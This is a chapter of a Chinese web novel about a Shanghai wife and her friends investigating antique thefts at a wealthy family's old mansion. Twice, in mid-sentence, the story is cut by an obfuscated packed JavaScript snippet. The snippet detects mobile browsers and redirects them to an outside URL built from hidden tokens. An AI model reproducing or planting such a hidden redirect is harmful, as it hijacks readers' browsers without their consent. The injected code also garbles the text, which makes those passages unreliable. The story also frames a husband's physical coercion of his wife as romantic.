宅子每一间房大致做了分类,金铜器一间,堆在顶楼;玉器、字画房刷漆,做了防水防潮;瓷器、骨器怕碰不怕灰,房间格外空些,就怕仆人打扫转身之间碰碎了,就只有荣老爷一人有钥匙。精细之余,按下不表。
米婶和其他几个仆人进荣宅干活之前也专门做了交代,务必心细如尘、熟知金玉古董的保存之法。
据她说,最先发现丢失的是瓷器。几个晚清时期的缠枝瓷盘和白胎瓷瓶,都是官窑烧的,青花白底,价值连城。
说是丢,其实说“换”更为准确。洒扫的下人发现瓷器上的青花不对劲,叫识货的人来看了才知道,真货早不知道何时被谁换成了民间的窑烧瓷,质地、花纹差一大截。他们数下来拢共少了三只瓷盘和两只花瓶,上报上去整五日无人回应,米婶以为是荣老爷事务繁忙,看不上这么点子小玩意儿,也就抛在一边,只把宅子里所有人叫到一处,吩咐绝不可以再出现偷梁换柱之事,叫暗藏的贼人收敛一些。
“没想到接下来,丢的东西更多。”
宋芳笙将一张画纸递过去,上面画满大大小小的白描瓷器:青花龙纹香炉、山水人物瓷罐、桃红釉堆白花鸟纹壶,下面两排则画了玉佩、玉镯和扳指一类,并金子打的妆盒、耳环。
“这有什么可推理之处,多半是下人所为。”叶秋容两三下看完资料,把纸扔在一边,“叫荣老爷把所有下人聚到一处,挨个盘问,再不说,把家里住在上海的亲人、朋友也都找来,严刑拷打,一定有人招。”
话糙理不糙。
一旁沈丽曼点点头道,“既知道要那一模一样的瓷器来换,这贼人首先一定知道放在宅子里的真货长什么模样、又放在何处,非一般临时走空门的飞贼可以做到;再者以假换真,定要有人里应外合,先找地方把假的准备好才是,将上海做瓷器的店一一问来,一定会有所收获;最后,贼要销赃,能换钱的地方左不过典当铺子,或者卖给洋人,拿着单子、花点时间,一问便知。”
“我何尝没想到这些?早让米婶把下人名单给我,我找人都问过了。”
“结果如何?”
“荣宅里算上米婶一共七个下人,既没有外头赌钱欠债,也没有家中亲人生病急需用钱,皆规规矩矩、朴素老实。米婶将那仿的瓷瓶画了样子,我找人打听,上海能做瓷器的店近三个月来都没有制过类似的罐瓶,最后又问了当铺,一无所获。”
“洋人呢?那些洋人最喜这些。”
芳笙看她一眼,笑道,“哪个洋人?我到街上随便抓一个洋人,问他最近可曾买了中国的新鲜玩意儿?且丢失的东西里头也有古怪——青花瓷器一律都有替代品,贼人拿假的来换走了真的,画纸上最后两行被偷的金器、玉器却没有替代品出现,就这么凭空消失了。你们说怪不怪?”
拿起画纸又看了看,叶秋容道,“许是金玉难替,就干脆没费那份心呢?”
但其实金玉最好复刻。铜镀金、银包金的饰品,市面上仿货、假货多如牛毛,以大理石或者绿玻璃冒充玉石制成的首饰更是数不胜数,四处金银首饰店内都有擅仿制的工匠。
赵妈端着三碗美龄羹走进花园,听到三人议论的是荣氏家族,一副欲言又止的样子。沈丽曼看她不停拿眼睛瞟向桌上的画纸,问她在看什么。
“回太太,没、没看什么。只是荣氏那几位小姐、少爷是出了名的败家子,我们下人之间老拿他们的事谈笑呢。”说罢不忘再看上两眼,嘴里嘀咕“原来家底这么厚”。
这话点醒叶秋容:“对啊,会不会是荣宅里其他人做的?小姐、少爷、姨太太,荣老爷把古董放在旧宅是家祖中人尽皆知之事,倘若他们之中谁起了歹念,拿着主子的身份进去偷东西出来,下人谁还敢搜身不成?”
有了新的突破口,宋芳笙赶紧来到书房,准备给荣宅米婶写信,让她将近三个月内荣家所有人进出旧宅的记录大致写来,并将荣家众少爷小姐并姨太太们身上有无疑点,都详细写了送来。
美龄羹喝完,夕阳落了山。
临走时沈丽曼从手拿包里掏出一包橙红色香粉递给宋芳笙,让她吩咐人送信的时候将此物一并带去,涂抹在那些古董趁手的隐蔽处。
“这包香粉原是包指甲的,沾上之后不易洗掉,也许能帮上忙。我就先走了。”
送沈丽曼和叶秋容行至门口,隔壁再一次传出悠扬的小提琴声。伴随夕阳姹紫嫣红,三人不约而同朝隔壁大门望去。白色油漆铁门下种满桂花,一阵风起,洋洋洒洒。
“桂花深处住的不知是谁,小提琴拉得这样好,下次叫他一同喝茶如何?”
宋芳笙自己住过来也才一月有余,从未见过隔壁人真容,“只看见过褐红色的老式汽车从那道门进出。”
一听褐红色汽车,叶秋容激动起来,“褐红色的,可是劳斯莱斯?我听臭老头身边人讨论过,那可是世界上顶贵、顶豪华的轿车。看来你这个邻居,身份不一般啊……择日不如撞日,这就去敲一敲你这个邻居的门,打个招呼如何?”
“别耽误你回家,刚不是说三少爷要来接你参加舞会吗?”
“和臭老头跳舞有什么好期待的,还是看看劳斯莱斯的主人,说不定是个英俊的音乐家。”
“咳咳,”三人回头,看见段澄恩站在门口,双手背在身后,表情冷漠,看样子已经听到了。
叶秋容立刻换了表情,小狐狸似的粘了上去,抓住男人胳膊轻摇,“先生怎么才来?我方才就一直在想先生呢。”
“是吗,”段澄恩不接招,瑞凤眼下落,淡淡地看着身边妻子,“不是在想英俊的音乐家?”
他果然听到了。
“诶……下午茶羹汤里加了酒,方才说的都是酒后无德的胡话,先生可一句话不能听、不能信的,先生最好了。”
“你还喝酒了?”
再在仙乐斯从小摸爬滚打到大,叶秋容也只有十九岁。多说多错,加上想起他这几日对自己的管束,小狐狸眼眸闪烁,心里还是有些怕他。
“你最疼我,一定不会怪我的,对罢?”
另外两个躲在一旁看笑话。
段澄恩凝她一阵,最终伸出手捏了捏妻子的鼻头,带人向宋芳笙和沈丽曼告辞。
早在结婚之前芳笙就听母亲说过,顾均胜之所以搬出父母家宅住进愚园路的宅子,就是为
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022484|178452||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了与一条街上军政要员为邻,如今方知不假。
“打招呼是可以,但说什么呢?”
眼看着夕阳快要落尾,宋芳笙招手让赵妈又热了一份美龄羹来,端到白色油漆铁门下,就看见里面扎着两只大黑辫子的丫头迎上来,询问之下给她开了门。
“少爷在屋子里呢,太太跟我进来罢。”
少爷?她还以为,能将小提琴拉得如此婉转动听之人定是个女孩。自己手中的美龄羹乃是上海女子所爱之物,端来赠男子岂不是招人笑话?
“这……我不知你家少爷是……这羹汤恐他不喜,我改日再让厨子送别的来。”
“无妨。”一声清润的声音从房中传来,芳笙后知后觉跟着丫头已经走到书房门口,接着一个清瘦的年青男人从书房里出来,眼尾挂着和善的笑。
“我在吃食上并无挑拣。”
男子黑色马褂里一身雪白长衫,胸口佩戴一枚玉环。如果说顾均胜是站在山巅、俯瞰众人的鹰,面前温润儒雅的男人就是独立溪涧、临水而歌的鹤。
可惜,宋芳笙看到了他身下的轮椅。
如此翩翩公子,竟是个残废?
感觉到芳笙为难的目光,男人眉眼低垂,并不在意道,“鄙人林云启,刚随家父搬到愚园路不久。正如太太看到的,因身体不便,未找到合适的机会到太太家中拜访,倒劳烦太太今日送来羹汤。不嫌弃的话,坐下喝杯茶罢。”
林云启?宋芳笙回忆所认识之人中可有姓林的,想起三个月前听父亲说起,有一位姓林的将军自荒河失守后下野,将兵权交出,居家迁至上海。
就是眼前人的父亲吗?
“不劳烦,之前多次在园中听得林少爷家中有小提琴乐声,如听仙乐,今日来拜访,多有冒昧。可不知,拉琴之人就是你吗?”
“不错,”林云启示意下人将小提琴取来,琴身通体乌木,表面油亮、琴弦闪闪发光,一看方知持琴之人爱护有加,“我不常出门,初来上海亦没什么朋友,惟在家中偶一抚琴,但愿没有吵到太太。”
他越是谦逊,宋芳笙越是拘谨,“没有的事。林少爷所奏琴声悠扬,我同其他姊妹都很喜欢。可惜我从小闲不住,什么乐器也没有学……嗯……时间也不早了,我不打扰,这就回去了。”
“等一下,”他的眼睛微眯,将宋芳笙拘束的模样看在眼里,露出若有似无的笑来,“太太可是顾均胜,顾少爷的夫人?”
看来他知道隔壁是顾宅。宋芳笙点头,“你认识我?”
“百闻不如一见。”他转动轮椅,离她更进一步,“早在北平的时候就曾听上海同窗多次提起,远东最美珍珠——宋芳笙小姐。今日得见,果然光彩照人。”
她心里受用,客套起来,“我也刚搬来此处不过一月,日后若有帮得上忙的地方,林少爷只管开口差人到隔壁寻我便是。”
“一定。”
他倒是一点不客气。宋芳笙没了继续聊下去的意思,告辞林云启走出来。
摸着腹中空空,想来下午吃那点东西都已经消化,她叫来小春,让人把晚饭送到书房来。
“啊?可是少爷已经回来了,正在餐厅等少奶奶吃晚饭呢。”
“顾均胜回来了?”稀客,他往日几乎不回家用晚饭,宋芳笙只有临睡前听到靴子踩踏楼梯发出登登登的声音,才知道他回来了。
入夜生凉,她披上围巾来到餐厅,看顾均胜坐在餐桌对面正看报,听闻脚步声抬头,面无表情地看着她。
“去哪儿了?”
14.变故
“隔壁林家,”宋芳笙坐下来,小春便唤厨房上菜,“我初来乍到,跟邻居打招呼去了,怎么,先生这也要管?”
“我是说中午。”
顾均胜放下报纸说道,“你送完松饼之后,没回办公室找我,也没回家,去了哪里?”
她拉着米婶询问失窃案去了,不过她不打算告诉顾均胜。
上次纵火案,他先答应帮忙,后面又说没有证据无法搜查,她老觉得,来来回回依靠了他,自己没什么作为,好像离了他就没办法一样。
这次她偏要自己查。
“我肚子打鼓,上金福楼买江米枣去了。”
“枣呢?”
“枣……枣……”她眼神闪躲,理不直气也壮道,“都吃光了。”
“去的哪家金福楼,门前排队人多还是不多,江米枣用的是糯米还是紫米,口味是甜是咸?”
他每问一句,人就走近一步。问到最后一句,人已经走到面前,弯下腰,意有所指地凝她,“你若只是去买枣,那方才客厅桌上放着,有关荣宅失窃案的分析笔记,又是何人所写?小春叫杨叔连夜也要送去老城厢金边的信,又是何人所写?”
“是我没错,”宋芳笙心虚地不行,迫于头顶像是要压在她身上的目光,下意识双手把人推远,“我爱看什么便看什么,爱打听什么便打听什么,无需向先生汇报。”
“你若问的是民生案情,便通通与我有关,我都可以过问。再者你是我妻子,若探访案情期间受伤了、遇险了,我要如何向岳母岳丈交代?不准再查了。”
他霸道的口气令人不悦。宋芳笙抬头瞪他,也不打算客气,“我就要查、我就要查,出了事我自会向父母解释,不需要你交代!”
他分明是为她的安全着想,她却不领情。男人后退一步,亮光回到芳笙脸上,“那好,我这就给岳母岳丈打电话把事情说清楚,免得日后等出了事再回过头来问罪。”
“不行!你不准去!”
“好话歹话你分辨不出,我也没法,只交给岳母岳丈分辨。”
“不许去……”宋芳笙冲上去拉住他,奈何男女力量悬殊。顾均胜甩开她的手,她一个趔趄向前扑倒,“啊!”
男人反应迅速,转身刚好接住她,稳稳落入怀中。脚踝一阵剧烈的疼痛,多半是崴着。她心里没来由一阵酸楚,眼眶立刻红了,“都怪你!”
顾不上吃饭,他抱起宋芳笙往楼上走。期间女人在怀里濒死的鱼一样来回翻腾,死活挣脱不开男人又硬又紧的胳膊。
她干脆“都怪你”、“你欺负人”地叫嚷。进到卧室,他将人放在床上,抽屉里寻来一只药膏,将裙摆略撩起一隅,握住她发红的脚踝,开始上药。
“不要你帮我!”
“别动。”
“我让你放开!顾均胜!”
男人抬头递来一个警告的眼神,宋芳笙立刻被吓住噤声,吸吸鼻子安静下来,任由他抓住脚上药。
嘤(? ?︿ ??)
所幸他下手还算温柔,药膏温凉而掌心滚烫,脚踝刺痛逐渐缓解。
上药完毕,男人起身去浴室洗手,宽厚的背影落在她眼里,生出几分安心。
仔细想来,他原不是为干涉她的生活,只是不希望她以身涉险。女儿于这动荡的乱世本就难安,自己是他的妻子,他念她安全,也不是什么大错。
顾均胜洗完手出来,看她坐在床边,无聊地摇晃着受伤那只脚,面无表情道,“不疼了?”
那倒也没有,“不准给我父母打电话,听到没有……多大的年纪,还要学告状那一套,是不是男人……”
早前听她们三人说自己“不行”的时候,顾均胜已经气得撞到门上。现在干脆怀疑起他是不是男人了是吧?
听面前人不辩驳,宋芳笙刚抬起头,就看见顾均胜朝自己走过来,捞起她往床中间一扔,整个人就覆上来,伸手捏住女人下巴,逼迫她张嘴,“干什么……”
“我现在就告诉你,我是不是男人。”
“不行!”
他置若罔闻,一边往唇边凑近,一边看她的反应,近得宋芳笙几乎能感觉到他呼出的热气。
“唔……别、别这样……”
她态度终于软下来,脸颊气鼓鼓的,惹人怜爱。顾均胜心旌摇曳,手上力道不自觉松了。
“知道错了?”
她不答。下一秒,头顶灯光再次回归,她眯眼睛尚未适应,又被人拦腰抱起,吓得她双眼瞪大,“做什么?”
苍天老爷,别又来捉弄她。她算是看清楚,面前这个男人是个彻头彻尾的坏男人,一点亏吃不得,非要欺负到她认错求饶不可,真真比女人还小气。
哦不,女人才不小气,小气的都是男人。他比普通男人还小气。
她警惕的模样像炸了毛的猫儿,顾均胜不理会,抱着她出门,“吃饭,吃完饭把杨妈和赵妈叫来。”
“叫她们来做什么?”
“把我的床褥被子搬回卧室,免得你说我不是男人。”
“不行!你是男人、你是男人行了罢!”
“那你不准再查荣宅失窃的案子。”
“……你以此要挟我?”
“杨妈、杨妈……”
“别喊了!我答应你还不行吗?”
“很好,吃饭罢。”
“……”
-
信件和香粉送去的第三天,荣府旧宅传来好消息,将偷盗古董的自家佣人抓获。那人因偷盗一枚玉佩,手上沾了洗不掉的橙红色香粉,第二天众人聚集起来,查验双手之时将他当场擒获,也在他床底翻出来不及送出去的赃物。
原来他偷盗荣老爷的古董,纯粹是因为认识了汉口路小舞厅里的舞女。那女人知道他在荣宅做活,叫他偷一些金玉扳指出去给她,当是抵作带她出门的银钱,除此之外那佣人不赌钱也不抽烟,拿了扳指也没往典当铺子送,是以芳笙三人一无所获。
叶秋容在老庆云买了点翠,拿出来与沈丽曼赏玩,心情很好的模样,“多亏姐姐神机妙算。既然此案已破,你还把我们找来干什么?”
“自然是有疑点。”她左右看看,叫小春把米婶的回信来拿,“顾均胜不让我再过问此事,奈何我从米婶的回信中看出端倪,知道此案尚未完全了结,少不得要你们帮我再看看。之后再帮我把东西都带走,定要守口如瓶才好。”
叶秋容一听,来了兴致,“哟,正经的千金小姐也有受制于人的一天。芳笙,你怎么会……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029818|178452||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“我当然不会!”她否认得快极了,“可我若不答应,他就要搬回卧室与我同住……”
“什么?哈哈哈哈哈哈哈,”叶秋容不留情面地大笑起来,“一时间我竟不知,是你更窝囊,还是他更窝囊了,哈哈哈哈哈哈……”
“我气还没消,你又来招我,看我怎么打你……”
两人打闹一阵,被沈丽曼劝住,让说正事。
宋芳笙捏了捏叶秋容的脸,这才解气说道,“米婶的回信上说,被抓住的佣人说自己之所以起了歹念,正是因为瓷器丢失之事没有引起荣老爷太大反应,让他以为有可乘之机。他死活只承认自己偷了小件的金玉,说那些被替换掉的瓷器与他无关。且上门调查的警察也证实,在舞女家中只找到了所有被偷的金玉,一件瓷器也没有。我怀疑这里头有两个贼,一个被我们抓了,另一个还躲在暗处。”
搁下咖啡杯,沈丽曼把桌上信件拿起来看,发现里面夹杂着一张类似族谱的名单,“你还是怀疑荣家有内贼。”
“嗯。”
名单展开,荣家族人一一分析,只将三个月内出入过旧宅和吃喝嫖赌、劣迹斑斑之人留下:
荣家二小姐荣千雪,所嫁非人,经常因为和丈夫红脸回娘家短住。三个月内曾四次回到荣公馆,被荣老爷打发到旧宅居住,直到丈夫登门道歉;
荣家四少爷荣时俊,常年往来香港做生意。因那边人实在喜欢,每逢回家之际都要向荣老爷讨要古玩玉器,后来遭到荣老爷训斥之后便不再开口,但是回家的次数骤减,明显还带着气;
荣家六少爷荣时邈,烂赌、酗酒,经常将家中贵重物品擅自许给外人,有一次将荣老太太的陪嫁首饰偷偷拿了抵赌债,被荣老爷知道以后打死十几个赌场的人才拿回来,声称要把此不孝子赶出家门,被荣老太太送到奉天躲了半月;
荣家二姨太秦青青,表面上无欲无求,只喜欢种花养草。因着旧宅那片地的绣球开得最好,最近频繁出入旧宅养护花草,米婶称没怎么看见她出入房间,基本都在花园转悠;
最后一个是荣家七小姐荣英宁,还在念书,受新派观念影响,认为中国人就该恪守一夫一妻制,因此对家中除自己母亲以外所有的姨太太都冷眼相对,经常为了避开她们躲到旧宅中去。
现已知线索是五个人都在瓷器被换期间出入过旧宅,三人有债务、金钱上的纠纷,另外两人则完全没有。
这次没办法找顾均胜帮忙,三人无法深入调查此五人最近的财务状况,以及身边是否有喜爱瓷器的外国人,哪怕是荣四少爷的朋友她们也接触不到。芳笙暂时能想到的,依旧遵从沈丽曼之前所说,拿着五个人的照片到各大赌场、典当行、瓷器店,看是否能有人认出这些人里,有人定制过或者倒卖过瓷器。
宋芳笙看完信件放下,轻声道,“我有个主意,不过有些阴损。而且万一闹大,恐难以收场。”
她这样一说,叶秋容第一个露怯。毕竟自家先生商会会长的身份都摆在明面上,许多事情她不能出头。还好,她们身边还有沈丽曼。
装扮上略成熟些的女人媚眼如丝,宠溺地看看两个妹妹,随手将身边一朵冒出头的月季连苞带枝掐下来,放在鼻尖轻嗅。
“你只管闹去,自有我给你收场。”